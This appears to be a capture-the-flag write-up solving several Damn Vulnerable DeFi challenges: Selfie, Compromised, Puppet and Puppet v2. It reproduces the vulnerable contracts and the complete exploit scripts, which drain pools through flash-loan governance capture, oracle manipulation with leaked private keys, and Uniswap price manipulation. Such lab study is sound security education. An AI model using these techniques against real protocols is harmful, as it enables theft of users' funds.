msg.sender .functionCall ( abi.encodeWithSignature ( "receiveTokens(address,uint256)" , address (token), borrowAmount ) ); uint256 balanceAfter = token.balanceOf (address (this )); require (balanceAfter >= balanceBefore, "Flash loan hasn't been paid back" ); } function drainAllFunds (address receiver ) external onlyGovernance { uint256 amount = token.balanceOf (address (this )); token.transfer (receiver, amount); emit FundsDrained (receiver, amount); } }
SimpleGovernance.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 pragma solidity ^0.8 .0 ; import "../DamnValuableTokenSnapshot.sol" ;import "@openzeppelin/contracts/utils/Address.sol" ;contract SimpleGovernance { using Address for address; struct GovernanceAction { address receiver; bytes data; uint256 weiAmount; uint256 proposedAt; uint256 executedAt; } DamnValuableTokenSnapshot public governanceToken; mapping (uint256 => GovernanceAction ) public actions; uint256 private actionCounter; uint256 private ACTION_DELAY_IN_SECONDS = 2 days; event ActionQueued (uint256 actionId, address indexed caller); event ActionExecuted (uint256 actionId, address indexed caller); constructor (address governanceTokenAddress ) { require (governanceTokenAddress != address (0 ), "Governance token cannot be zero address" ); governanceToken = DamnValuableTokenSnapshot (governanceTokenAddress); actionCounter = 1 ; } function queueAction (address receiver, bytes calldata data, uint256 weiAmount ) external returns (uint256) { require (_hasEnoughVotes (msg.sender ), "Not enough votes to propose an action" ); require (receiver != address (this ), "Cannot queue actions that affect Governance" ); uint256 actionId = actionCounter; GovernanceAction storage actionToQueue = actions[actionId]; actionToQueue.receiver = receiver; actionToQueue.weiAmount = weiAmount; actionToQueue.data = data; actionToQueue.proposedAt = block.timestamp ; actionCounter++; emit ActionQueued (actionId, msg.sender ); return actionId; } function executeAction (uint256 actionId ) external payable { require (_canBeExecuted (actionId), "Cannot execute this action" ); GovernanceAction storage actionToExecute = actions[actionId]; actionToExecute.executedAt = block.timestamp ; actionToExecute.receiver .functionCallWithValue ( actionToExecute.data , actionToExecute.weiAmount ); emit ActionExecuted (actionId, msg.sender ); } function getActionDelay ( ) public view returns (uint256) { return ACTION_DELAY_IN_SECONDS ; } function _canBeExecuted (uint256 actionId ) private view returns (bool) { GovernanceAction memory actionToExecute = actions[actionId]; return ( actionToExecute.executedAt == 0 && (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS ) ); } function _hasEnoughVotes (address account ) private view returns (bool) { uint256 balance = governanceToken.getBalanceAtLastSnapshot (account); uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot () / 2 ; return balance > halfTotalSupply; } }
To complete this challenge, we need to drain the funds. Fortunately, we have a specific function named drainAllFunds()
to do that, but it can only get executed by the SimpleGovernance
contract. Since we can propose to execute a function, we can make a SimpleGovernance
contract to execute the drainAllFund()
function for us. To that, we need more than half DVTs
, so we should take a flash loan and call snapshot()
to trick the _hasEnoughVotes()
function just like in the previous challenge proposed. Now, after the execution, we get all the funds.
selfie_exploit.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 pragma solidity ^0.8 .0 ; interface SelfiePool { function flashLoan (uint256 borrowAmount ) external; } interface SimpleGovernance { function queueAction ( address receiver, bytes calldata data, uint256 weiAmount ) external returns (uint256); function executeAction (uint256 actionId ) external payable; } interface DamnValuableTokenSnapshot { function snapshot ( ) external returns (uint256); function transfer (address acount, uint256 amount ) external; } contract selfie_Exploit { SelfiePool pool; SimpleGovernance governance; uint256 actId; constructor (address _address, address __address ) { pool = SelfiePool (_address); governance = SimpleGovernance (__address); } function receiveTokens (address _address, uint256 amount ) external { require (msg.sender == address (pool)); DamnValuableTokenSnapshot (_address).snapshot (); DamnValuableTokenSnapshot (_address).transfer (msg.sender , amount); } function setExploit (uint256 amount ) public { pool.flashLoan (amount); actId = governance.queueAction ( address (pool), abi.encodeWithSignature ("drainAllFunds(address)" , msg.sender ), 0 ); } function executeExploit ( ) public { governance.executeAction (actId); } }
selfie.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from brownie import DamnValuableTokenSnapshot, SimpleGovernance, SelfiePool, selfie_Exploit, accounts, chainTOKEN_INITIAL_SUPPLY = 2000000 TOKENS_IN_POOL = 1500000 def deploy (): deployer, attacker = accounts[:2 ] token = DamnValuableTokenSnapshot.deploy( TOKEN_INITIAL_SUPPLY, {'from' : deployer}) governance = SimpleGovernance.deploy(token, {'from' : deployer}) pool = SelfiePool.deploy(token, governance, {'from' : deployer}) token.transfer(pool, TOKENS_IN_POOL, {'from' : deployer}) assert token.balanceOf(pool) == TOKENS_IN_POOL return deployer, attacker, token, pool, governance def exploit (attacker, governance, pool ): exploit = selfie_Exploit.deploy(pool, governance, {'from' : attacker}) exploit.setExploit(TOKENS_IN_POOL, {'from' : attacker}) chain.sleep(60 * 60 * 24 * 2 ) exploit.executeExploit() def after (attacker, token, pool ): assert token.balanceOf(attacker) == TOKENS_IN_POOL assert token.balanceOf(pool) == 0 def main (): deployer, attacker, token, pool, governance = deploy() exploit(attacker, governance, pool) after(attacker, token, pool)
Compromised While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. This is a snippet:
1 2 3 4 5 6 7 8 9 HTTP/2 200 OK content-type: text/html content-language: en vary: Accept-Encoding server: cloudflare 4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35 4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each
This price is fetched from an on-chain oracle, and is based on three trusted reporters: 0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15 and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.
Starting with only 0.1 ETH in balance, you must steal all ETH available in the exchange.
TrustfulOracleInitializer.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pragma solidity ^0.8 .0 ; import "./TrustfulOracle.sol" ;contract TrustfulOracleInitializer { event NewTrustfulOracle (address oracleAddress); TrustfulOracle public oracle; constructor ( address[] memory sources, string[] memory symbols, uint256[] memory initialPrices ) { oracle = new TrustfulOracle (sources, true ); oracle.setupInitialPrices (sources, symbols, initialPrices); emit NewTrustfulOracle (address (oracle)); } }
TrustfulOracle.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol" ;contract TrustfulOracle is AccessControlEnumerable { bytes32 public constant TRUSTED_SOURCE_ROLE = keccak256 ("TRUSTED_SOURCE_ROLE" ); bytes32 public constant INITIALIZER_ROLE = keccak256 ("INITIALIZER_ROLE" ); mapping (address => mapping (string => uint256)) private pricesBySource; modifier onlyTrustedSource ( ) { require (hasRole (TRUSTED_SOURCE_ROLE , msg.sender )); _; } modifier onlyInitializer ( ) { require (hasRole (INITIALIZER_ROLE , msg.sender )); _; } event UpdatedPrice ( address indexed source, string indexed symbol, uint256 oldPrice, uint256 newPrice ); constructor (address[] memory sources, bool enableInitialization ) { require (sources.length > 0 ); for (uint256 i = 0 ; i < sources.length ; i++) { _setupRole (TRUSTED_SOURCE_ROLE , sources[i]); } if (enableInitialization) { _setupRole (INITIALIZER_ROLE , msg.sender ); } } function setupInitialPrices ( address[] memory sources, string[] memory symbols, uint256[] memory prices ) public onlyInitializer { require (sources.length == symbols.length && symbols.length == prices.length ); for (uint256 i = 0 ; i < sources.length ; i++) { _setPrice (sources[i], symbols[i], prices[i]); } renounceRole (INITIALIZER_ROLE , msg.sender ); } function postPrice (string calldata symbol, uint256 newPrice ) external onlyTrustedSource { _setPrice (msg.sender , symbol, newPrice); } function getMedianPrice (string calldata symbol ) external view returns (uint256) { return _computeMedianPrice (symbol); } function getAllPricesForSymbol (string memory symbol ) public view returns (uint256[] memory) { uint256 numberOfSources = getNumberOfSources (); uint256[] memory prices = new uint256[](numberOfSources); for (uint256 i = 0 ; i < numberOfSources; i++) { address source = getRoleMember (TRUSTED_SOURCE_ROLE , i); prices[i] = getPriceBySource (symbol, source); } return prices; } function getPriceBySource (string memory symbol, address source ) public view returns (uint256) { return pricesBySource[source][symbol]; } function getNumberOfSources ( ) public view returns (uint256) { return getRoleMemberCount (TRUSTED_SOURCE_ROLE ); } function _setPrice (address source, string memory symbol, uint256 newPrice ) private { uint256 oldPrice = pricesBySource[source][symbol]; pricesBySource[source][symbol] = newPrice; emit UpdatedPrice (source, symbol, oldPrice, newPrice); } function _computeMedianPrice (string memory symbol ) private view returns (uint256) { uint256[] memory prices = _sort (getAllPricesForSymbol (symbol)); if (prices.length % 2 == 0 ) { uint256 leftPrice = prices[(prices.length / 2 ) - 1 ]; uint256 rightPrice = prices[prices.length / 2 ]; return (leftPrice + rightPrice) / 2 ; } else { return prices[prices.length / 2 ]; } } function _sort (uint256[] memory arrayOfNumbers ) private pure returns (uint256[] memory) { for (uint256 i = 0 ; i < arrayOfNumbers.length ; i++) { for (uint256 j = i + 1 ; j < arrayOfNumbers.length ; j++) { if (arrayOfNumbers[i] > arrayOfNumbers[j]) { uint256 tmp = arrayOfNumbers[i]; arrayOfNumbers[i] = arrayOfNumbers[j]; arrayOfNumbers[j] = tmp; } } } return arrayOfNumbers; } }
Exchange.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/utils/Address.sol" ;import "@openzeppelin/contracts/security/ReentrancyGuard.sol" ;import "./TrustfulOracle.sol" ;import "../DamnValuableNFT.sol" ;contract Exchange is ReentrancyGuard { using Address for address payable; DamnValuableNFT public immutable token; TrustfulOracle public immutable oracle; event TokenBought (address indexed buyer, uint256 tokenId, uint256 price); event TokenSold (address indexed seller, uint256 tokenId, uint256 price); constructor (address oracleAddress ) payable { token = new DamnValuableNFT (); oracle = TrustfulOracle (oracleAddress); } function buyOne ( ) external payable nonReentrant returns (uint256) { uint256 amountPaidInWei = msg.value ; require (amountPaidInWei > 0 , "Amount paid must be greater than zero" ); uint256 currentPriceInWei = oracle.getMedianPrice (token.symbol ()); require (amountPaidInWei >= currentPriceInWei, "Amount paid is not enough" ); uint256 tokenId = token.safeMint (msg.sender ); payable (msg.sender ).sendValue (amountPaidInWei - currentPriceInWei); emit TokenBought (msg.sender , tokenId, currentPriceInWei); return tokenId; } function sellOne (uint256 tokenId ) external nonReentrant { require (msg.sender == token.ownerOf (tokenId), "Seller must be the owner" ); require (token.getApproved (tokenId) == address (this ), "Seller must have approved transfer" ); uint256 currentPriceInWei = oracle.getMedianPrice (token.symbol ()); require (address (this ).balance >= currentPriceInWei, "Not enough ETH in balance" ); token.transferFrom (msg.sender , address (this ), tokenId); token.burn (tokenId); payable (msg.sender ).sendValue (currentPriceInWei); emit TokenSold (msg.sender , tokenId, currentPriceInWei); } receive () external payable {} }
We must steal the funds from the exchange
contract to complete this challenge. To do that, we can buy a DVNFT
at a low price and sell at a high price, here instead of waiting for the price to increase, we can manipulate the price of the token since we have 2 of the private keys of the TrustedSources .
compromised.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from brownie import DamnValuableNFT, Exchange, TrustfulOracle, TrustfulOracleInitializer, accounts, chain, Wei, web3sources = [ '0xA73209FB1a42495120166736362A1DfA9F95A105' , '0xe92401A4d3af5E446d93D11EEc806b1462b39D15' , '0x81A5D6E50C214044bE44cA0CB057fe119097850c' ] EXCHANGE_INITIAL_ETH_BALANCE = Wei('9990 ether' ) INITIAL_NFT_PRICE = Wei('999 ether' ) def deploy (): deployer, attacker = accounts[:2 ] for i in sources: deployer.transfer(i, "2 ether" ) assert web3.eth.getBalance(i) == Wei('2 ether' ) attacker.transfer(deployer, attacker.balance()-"0.1 ether" ) assert attacker.balance() == "0.1 ether" oracle = TrustfulOracle.at( TrustfulOracleInitializer.deploy( sources, ['DVNFT' , 'DVNFT' , 'DVNFT' ], [INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE], {'from' : deployer} ).oracle() ) exchange = Exchange.deploy( oracle, {'from' : deployer, 'value' : EXCHANGE_INITIAL_ETH_BALANCE}) nftToken = DamnValuableNFT.at(exchange.token()) return deployer, attacker, nftToken, exchange, oracle def exploit (attacker, nftToken, exchange, oracle ): private_keys = ['0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9' , '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48' ] compromised_users = [accounts.add(i) for i in private_keys] buying_prices = ['0 ether' , '0.1 ether' ] selling_prices = [exchange.balance() + '0.1 ether' , '100000 ether' ] reset_prices = [INITIAL_NFT_PRICE]*2 for i, j in enumerate (compromised_users): oracle.postPrice('DVNFT' , buying_prices[i], {'from' : j}) tokenId = exchange.buyOne( {'from' : attacker, 'value' : '0.1 ether' }).return_value for i, j in enumerate (compromised_users): oracle.postPrice('DVNFT' , selling_prices[i], {'from' : j}) nftToken.approve(exchange, tokenId, {'from' : attacker}) exchange.sellOne(tokenId, {'from' : attacker}) for i, j in enumerate (compromised_users): oracle.postPrice('DVNFT' , reset_prices[i], {'from' : j}) def after (attacker, nftToken, exchange, oracle ): assert exchange.balance() == 0 assert attacker.balance() > EXCHANGE_INITIAL_ETH_BALANCE assert nftToken.balanceOf(attacker) == 0 assert oracle.getMedianPrice('DVNFT' ) == INITIAL_NFT_PRICE def main (): deployer, attacker, nftToken, exchange, oracle = deploy() exploit(attacker, nftToken, exchange, oracle) after(attacker, nftToken, exchange, oracle)
Puppet There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an Uniswap v1 exchange , currently with 10 ETH and 10 DVT in liquidity.
Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.
PuppetPool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 pragma solidity ^0.8 .0 ; import "@openzeppelin/contracts/security/ReentrancyGuard.sol" ;import "@openzeppelin/contracts/utils/Address.sol" ;import "../DamnValuableToken.sol" ;contract PuppetPool is ReentrancyGuard { using Address for address payable; mapping (address => uint256) public deposits; address public immutable uniswapPair; DamnValuableToken public immutable token; event Borrowed (address indexed account, uint256 depositRequired, uint256 borrowAmount); constructor (address tokenAddress, address uniswapPairAddress) { token = DamnValuableToken (tokenAddress); uniswapPair = uniswapPairAddress; } function borrow (uint256 borrowAmount ) public payable nonReentrant { uint256 depositRequired = calculateDepositRequired (borrowAmount); require (msg.value >= depositRequired, "Not depositing enough collateral" ); if (msg.value > depositRequired) { payable (msg.sender ).sendValue (msg.value - depositRequired); } deposits[msg.sender ] = deposits[msg.sender ] + depositRequired; require (token.transfer (msg.sender , borrowAmount), "Transfer failed" ); emit Borrowed (msg.sender , depositRequired, borrowAmount); } function calculateDepositRequired (uint256 amount ) public view returns (uint256) { return amount * _computeOraclePrice () * 2 / 10 ** 18 ; } function _computeOraclePrice ( ) private view returns (uint256) { return uniswapPair.balance * (10 ** 18 ) / token.balanceOf (uniswapPair); } }
We must steal all the tokens from the PuppetPool
contract to complete this challenge. Since the contract is calculating the price of a token from the uniswap_exchange
ether balance divided by the token balance, we can swap our tokens to ether from uniswap
to manipulate the price of the token in PuppetPool
‘s borrow()
function and get all the tokens with a low price.
Puppet.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 import jsonfrom decimal import Decimalfrom web3 import Web3from brownie import Contract, accounts, DamnValuableToken, PuppetPool, chain, WeiRANDOM_ADDRESS = '0x5832727e34162736F3e7082EDad9DCfD76e15D0a' RANDOM_ADDRESS_PK = '57f7f022e5941d0573114e2aab6e08aeb9a6f28b42d48e63a374783d7f1fdadb' UNISWAP_INITIAL_TOKEN_RESERVE = Web3.toWei(10 , 'ether' ) UNISWAP_INITIAL_ETH_RESERVE = Web3.toWei(10 , 'ether' ) ATTACKER_INITIAL_TOKEN_BALANCE = Web3.toWei(1000 , 'ether' ) ATTACKER_INITIAL_ETH_BALANCE = Web3.toWei(25 , 'ether' ) POOL_INITIAL_TOKEN_BALANCE = Web3.toWei(100000 , 'ether' ) def load_json (json_file ): with open (f'./scripts/build-uniswap-v1/{json_file} ' , 'r' ) as f: contract_metadata = json.loads(f.read()) contract_abi = contract_metadata['abi' ] contract_bytecode = contract_metadata['evm' ]['bytecode' ]['object' ] return contract_abi, contract_bytecode def deploy_bytecode (contract_abi, contract_bytecode ): w3_client = Web3(Web3.HTTPProvider('http://0.0.0.0:8545' )) temp_contract = w3_client.eth.contract( abi=contract_abi, bytecode=contract_bytecode) n = w3_client.eth.get_transaction_count(RANDOM_ADDRESS) tx = temp_contract.constructor().buildTransaction( {'from' : RANDOM_ADDRESS, 'nonce' : n, 'gasPrice' : w3_client.eth.gas_price} ) signed_tx = w3_client.eth.account.sign_transaction( tx, private_key=RANDOM_ADDRESS_PK) accounts[0 ].transfer(RANDOM_ADDRESS, '1 ether' ) txh = w3_client.eth.send_raw_transaction(signed_tx.rawTransaction) tx_receipt = w3_client.eth.wait_for_transaction_receipt(txh) return tx_receipt.contractAddress def calculate_token_to_eth_input_price (token_sold, token_in_reserve, ether_in_reserve ): token_sold = Decimal(token_sold) token_in_reserve = Decimal(token_in_reserve) ether_in_reserve = Decimal(ether_in_reserve) return Wei( token_sold * 997 * ether_in_reserve / (token_in_reserve * 1000 + token_sold * 997 )) def deploy (): damn_valuable_token = DamnValuableToken.deploy({'from' : accounts[0 ]}) uniswap_factory_abi, uniswap_factory_bytecode = load_json( 'UniswapV1Factory.json' ) uniswap_factory_address = deploy_bytecode( uniswap_factory_abi, uniswap_factory_bytecode ) uniswap_factory = Contract.from_abi( 'UniswapV1Factory' , uniswap_factory_address, uniswap_factory_abi ) uniswap_exchange_abi, uniswap_exchange_bytecode = load_json( 'UniswapV1Exchange.json' ) uniswap_exchange_address = deploy_bytecode( uniswap_exchange_abi, uniswap_exchange_bytecode ) uniswap_exchange_template = Contract.from_abi( 'UniswapV1ExchangeTemplate' , uniswap_exchange_address, uniswap_exchange_abi ) uniswap_factory.initializeFactory( uniswap_exchange_template, {'from' : accounts[0 ]}) tx = uniswap_factory.createExchange( damn_valuable_token, {'from' : accounts[0 ]}) new_exchange_address = tx.events['NewExchange' ]['exchange' ] uniswap_exchange = Contract.from_abi( 'UniswapV1Exchange' , new_exchange_address, uniswap_exchange_abi ) lending_pool = PuppetPool.deploy( damn_valuable_token, new_exchange_address, {'from' : accounts[0 ]} ) damn_valuable_token.approve( new_exchange_address, UNISWAP_INITIAL_TOKEN_RESERVE) deadline = chain[-1 ].timestamp * 2 uniswap_exchange.addLiquidity( 0 , UNISWAP_INITIAL_TOKEN_RESERVE, deadline, {'value' : UNISWAP_INITIAL_ETH_RESERVE, 'from' : accounts[0 ]}, ) assert uniswap_exchange.getTokenToEthInputPrice( Web3.toWei(1 , 'ether' ) ) == calculate_token_to_eth_input_price( Web3.toWei(1 , 'ether' ), UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE, ) ATTACKER_ACCOUNT = accounts.add() accounts[1 ].transfer(ATTACKER_ACCOUNT, '25 ether' ) assert ATTACKER_ACCOUNT.balance() == ATTACKER_INITIAL_ETH_BALANCE damn_valuable_token.transfer( ATTACKER_ACCOUNT, ATTACKER_INITIAL_TOKEN_BALANCE) damn_valuable_token.transfer(lending_pool, POOL_INITIAL_TOKEN_BALANCE) assert lending_pool.calculateDepositRequired( Web3.toWei(1 , 'ether' )) == Web3.toWei(2 , 'ether' ) assert lending_pool.calculateDepositRequired( POOL_INITIAL_TOKEN_BALANCE) == POOL_INITIAL_TOKEN_BALANCE * 2 return uniswap_exchange, lending_pool, damn_valuable_token, ATTACKER_ACCOUNT def exploit (token, lending_pool, uniswap_exchange, attacker ): token.approve(uniswap_exchange, ATTACKER_INITIAL_TOKEN_BALANCE, { 'from' : attacker}) uniswap_exchange.tokenToEthSwapInput( ATTACKER_INITIAL_TOKEN_BALANCE, 10 **18 , chain[-1 ].timestamp * 2 , {'from' : attacker}) deposit_required = lending_pool.calculateDepositRequired( POOL_INITIAL_TOKEN_BALANCE) lending_pool.borrow(POOL_INITIAL_TOKEN_BALANCE, { 'from' : attacker, 'value' : deposit_required}) def after (token, lending_pool, attacker ): assert token.balanceOf(lending_pool) == 0 assert token.balanceOf(attacker) == POOL_INITIAL_TOKEN_BALANCE def main (): uniswap_exchange, lending_pool, damn_valuable_token, ATTACKER_ACCOUNT = deploy() exploit(damn_valuable_token, lending_pool, uniswap_exchange, ATTACKER_ACCOUNT) after(damn_valuable_token, lending_pool, ATTACKER_ACCOUNT)
Puppet v2 The developers of the last lending pool are saying that they’ve learned the lesson. And just released a new version!
Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.
You start with 20 ETH and 10000 DVT tokens in balance. The new lending pool has a million DVT tokens in balance. You know what to do ;)
PuppetV2Pool.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 pragma solidity ^0.6 .0 ; import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol" ;import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol" ;interface IERC20 { function transfer (address to, uint256 amount ) external returns (bool); function transferFrom (address from , address to, uint256 amount ) external returns (bool); function balanceOf (address account ) external returns (uint256); } contract PuppetV2Pool { using SafeMath for uint256; address private _uniswapPair; address private _uniswapFactory; IERC20 private _token; IERC20 private _weth; mapping (address => uint256) public deposits; event Borrowed (address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp); constructor ( address wethAddress, address tokenAddress, address uniswapPairAddress, address uniswapFactoryAddress ) public { _weth = IERC20 (wethAddress); _token = IERC20 (tokenAddress); _uniswapPair = uniswapPairAddress; _uniswapFactory = uniswapFactoryAddress; } function borrow (uint256 borrowAmount ) external { require (_token.balanceOf (address (this )) >= borrowAmount, "Not enough token balance" ); uint256 depositOfWETHRequired = calculateDepositOfWETHRequired (borrowAmount); _weth.transferFrom (msg.sender , address (this ), depositOfWETHRequired); deposits[msg.sender ] += depositOfWETHRequired; require (_token.transfer (msg.sender , borrowAmount)); emit Borrowed (msg.sender , depositOfWETHRequired, borrowAmount, block.timestamp ); } function calculateDepositOfWETHRequired (uint256 tokenAmount ) public view returns (uint256) { return _getOracleQuote (tokenAmount).mul (3 ) / (10 ** 18 ); } function _getOracleQuote (uint256 amount ) private view returns (uint256) { (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library .getReserves ( _uniswapFactory, address (_weth), address (_token) ); return UniswapV2Library .quote (amount.mul (10 ** 18 ), reservesToken, reservesWETH); } }
This challenge is the extended version of the previous, but a similar exploit would work.
puppet-v2.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 import jsonfrom web3 import Web3from brownie import accounts, Contract, PuppetV2Pool, DamnValuableToken, WETH9, chainUNISWAP_INITIAL_TOKEN_RESERVE = Web3.toWei(100 , 'ether' ) UNISWAP_INITIAL_WETH_RESERVE = Web3.toWei(10 , 'ether' ) ATTACKER_INITIAL_TOKEN_BALANCE = Web3.toWei(10000 , 'ether' ) ATTACKER_INITIAL_ETH_BALANCE = Web3.toWei(20 , 'ether' ) POOL_INITIAL_TOKEN_BALANCE = Web3.toWei('1000000' , 'ether' ) RANDOM_ADDRESS = '0x5832727e34162736F3e7082EDad9DCfD76e15D0a' RANDOM_ADDRESS_PK = '57f7f022e5941d0573114e2aab6e08aeb9a6f28b42d48e63a374783d7f1fdadb' def load_json (json_file ): with open (f'./scripts/build-uniswap-v2/{json_file} ' , 'r' ) as f: contract_metadata = json.loads(f.read()) contract_abi = contract_metadata['abi' ] contract_bytecode = contract_metadata['bytecode' ] return contract_abi, contract_bytecode def deploy_bytecode (contract_abi, contract_bytecode, *args ): w3_client = Web3(Web3.HTTPProvider('http://0.0.0.0:8545' )) temp_contract = w3_client.eth.contract( abi=contract_abi, bytecode=contract_bytecode) n = w3_client.eth.get_transaction_count(RANDOM_ADDRESS) tx = temp_contract.constructor(*args).buildTransaction( {'from' : RANDOM_ADDRESS, 'nonce' : n, 'gasPrice' : w3_client.eth.gas_price} ) signed_tx = w3_client.eth.account.sign_transaction( tx, private_key=RANDOM_ADDRESS_PK) accounts[0 ].transfer(RANDOM_ADDRESS, '1 ether' ) txh = w3_client.eth.send_raw_transaction(signed_tx.rawTransaction) tx_receipt = w3_client.eth.wait_for_transaction_receipt(txh) return tx_receipt.contractAddress def scenario_setup (): ATTACKER_ACCOUNT = accounts.add() accounts[1 ].transfer(ATTACKER_ACCOUNT, '20 ether' ) assert ATTACKER_ACCOUNT.balance() == ATTACKER_INITIAL_ETH_BALANCE damn_valuable_token = DamnValuableToken.deploy({'from' : accounts[0 ]}) weth9 = WETH9.deploy({'from' : accounts[0 ]}) uniswap_v2_factory_abi, uniswap_v2_factory_bytecode = load_json( 'UniswapV2Factory.json' ) uniswap_v2_factory_address = deploy_bytecode( uniswap_v2_factory_abi, uniswap_v2_factory_bytecode, '0x0000000000000000000000000000000000000000' ) uniswap_v2_factory = Contract.from_abi( 'UniswapV2Factory' , uniswap_v2_factory_address, uniswap_v2_factory_abi ) uniswap_v2_router_abi, uniswap_v2_router_bytecode = load_json( 'UniswapV2Router02.json' ) uniswap_v2_router_address = deploy_bytecode( uniswap_v2_router_abi, uniswap_v2_router_bytecode, uniswap_v2_factory.address, weth9.address) uniswap_v2_router = Contract.from_abi( 'UniswapV2Router' , uniswap_v2_router_address, uniswap_v2_router_abi) accounts[9 ].transfer(RANDOM_ADDRESS, UNISWAP_INITIAL_WETH_RESERVE) damn_valuable_token.approve( uniswap_v2_router, UNISWAP_INITIAL_TOKEN_RESERVE, {'from' : accounts[0 ]}) deadline = chain[-1 ].timestamp * 2 tx = uniswap_v2_router.addLiquidityETH(damn_valuable_token.address, UNISWAP_INITIAL_TOKEN_RESERVE, 0 , 0 , RANDOM_ADDRESS, deadline, { 'from' : accounts[0 ], 'value' : UNISWAP_INITIAL_WETH_RESERVE}) uniswap_v2_pair_abi, uniswap_v2_pair_bytecode = load_json( 'UniswapV2Pair.json' ) uniswap_v2_pair = Contract.from_abi( 'UniswapV2Pair' , uniswap_v2_factory.getPair( 